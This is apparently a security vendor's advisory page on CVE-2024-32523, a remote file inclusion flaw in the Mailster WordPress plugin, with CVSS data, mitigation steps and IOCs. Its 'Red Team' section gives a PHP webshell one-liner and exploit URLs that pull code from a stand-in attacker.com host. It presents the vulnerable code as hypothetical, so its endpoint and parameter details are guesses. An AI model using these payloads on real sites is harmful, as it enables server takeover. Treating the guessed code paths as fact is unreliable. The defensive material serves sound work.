CVE-2024-32523
Executive Summary
CVE-2024-32523 is a critical PHP Remote File Inclusion (RFI) vulnerability affecting the Mailster WordPress plugin by EverPress, up to and including version 4.0.6. This vulnerability allows an unauthenticated attacker to include arbitrary remote files via improper control of a filename used in a PHP include or require statement. Successful exploitation can lead to complete server compromise, including remote code execution (RCE), data exfiltration, and full site takeover. The vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion').
As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the vulnerable plugin. No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk remains high due to the ease of exploitation and the critical impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:
- No patch is currently available from the vendor (EverPress).
- The plugin is widely used for email marketing, making it a high-value target.
- Attackers may target outdated or unpatched installations through automated scanning.
CVSS Breakdown & Threat Level
CVSS v3.1 Score: 8.1 (High)
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | High (H) |
| Integrity (I) | High (H) |
| Availability (A) | High (H) |
Threat Level: Critical. The vulnerability requires no authentication, no user interaction, and can be exploited remotely with low complexity. A successful attack grants the attacker full control over the affected WordPress instance.
Deep Dive & Mechanics
The vulnerability stems from improper sanitization of a filename parameter used in a PHP include or require statement within the Mailster plugin. Specifically, the plugin fails to validate or restrict the source of the file being included, allowing an attacker to specify a remote URL.
Attack Flow:
- An attacker identifies a vulnerable endpoint in the Mailster plugin that accepts a filename parameter (e.g.,
?mailster_include=http://attacker.com/evil.php). - The attacker hosts a malicious PHP file on a remote server.
- The plugin’s code uses the unsanitized parameter in a PHP
include()call. - The remote file is fetched and executed on the target server, granting the attacker arbitrary code execution.
Root Cause: The plugin likely uses a construct similar to:
include($_GET['file'] . '.php');
Without proper validation (e.g., filter_var($file, FILTER_VALIDATE_URL) or a whitelist of allowed paths), an attacker can inject a full URL.
Vulnerable vs. Patched Code
Vulnerable Code (Mailster <= 4.0.6):
// mailster/includes/ajax.php (hypothetical)
$file = $_GET['mailster_include'];
include($file . '.php');
Patched Code (Expected):
// Patched version would include:
$allowed_paths = array('template1', 'template2');
$file = basename($_GET['mailster_include']);
if (in_array($file, $allowed_paths)) {
include(plugin_dir_path(__FILE__) . 'includes/' . $file . '.php');
} else {
wp_die('Invalid file.');
}
Key Differences:
- Input Validation: Patched code uses a whitelist and
basename()to prevent directory traversal and remote inclusion. - Path Restriction: The include path is locked to a local directory, preventing remote URLs.
- Error Handling: Invalid requests are terminated with
wp_die().
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress instance with Mailster plugin version <= 4.0.6.
- A publicly accessible server to host the malicious PHP file.
Exploitation Steps:
- Host a malicious PHP file (e.g.,
evil.txt) on your attacker server:<?php system($_GET['cmd']); ?> - Craft the exploit URL:
Note: Thehttp://target.com/wp-content/plugins/mailster/includes/ajax.php?mailster_include=http://attacker.com/evil.txt.phpextension appended by the vulnerable code will be ignored if the remote file contains PHP code. - Execute commands:
http://target.com/wp-content/plugins/mailster/includes/ajax.php?mailster_include=http://attacker.com/evil.txt&cmd=id
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blue Team (Detection & Hardening)
Detection Steps:
- Monitor web server logs for suspicious
includeparameters:grep "mailster_include" /var/log/apache2/access.log - Check for outbound connections from the web server to unknown IPs on port 80/443.
- Scan for webshells in the WordPress uploads directory.
Hardening:
- Immediately disable the Mailster plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block
mailster_includeparameter. - Restrict outbound traffic from the web server using iptables or cloud security groups.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| URL | ?mailster_include=http:// |
Suspicious parameter in GET requests |
| File | wp-content/plugins/mailster/includes/*.php |
Modified plugin files |
| Network | Outbound HTTP to unknown IPs | Remote file inclusion attempt |
| Log | mailster_include in access logs |
Exploitation attempt |
| Process | php processes with high CPU |
Possible webshell execution |
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
Immediate Actions:
- Disable the Mailster plugin until a patch is released.
- Apply virtual patching via WAF to block
mailster_includeparameter. - Review server logs for signs of compromise.
Long-term Fix:
- Monitor the EverPress vendor for an official patch.
- Consider replacing Mailster with an alternative email marketing plugin.
- Implement input validation and whitelisting for all file inclusion operations.
Workaround:
- Add the following rule to
.htaccess(Apache) or Nginx config:RewriteCond %{QUERY_STRING} mailster_include=http:// [NC] RewriteRule .* - [F,L]
Valters IT
Securing Digital Frontiers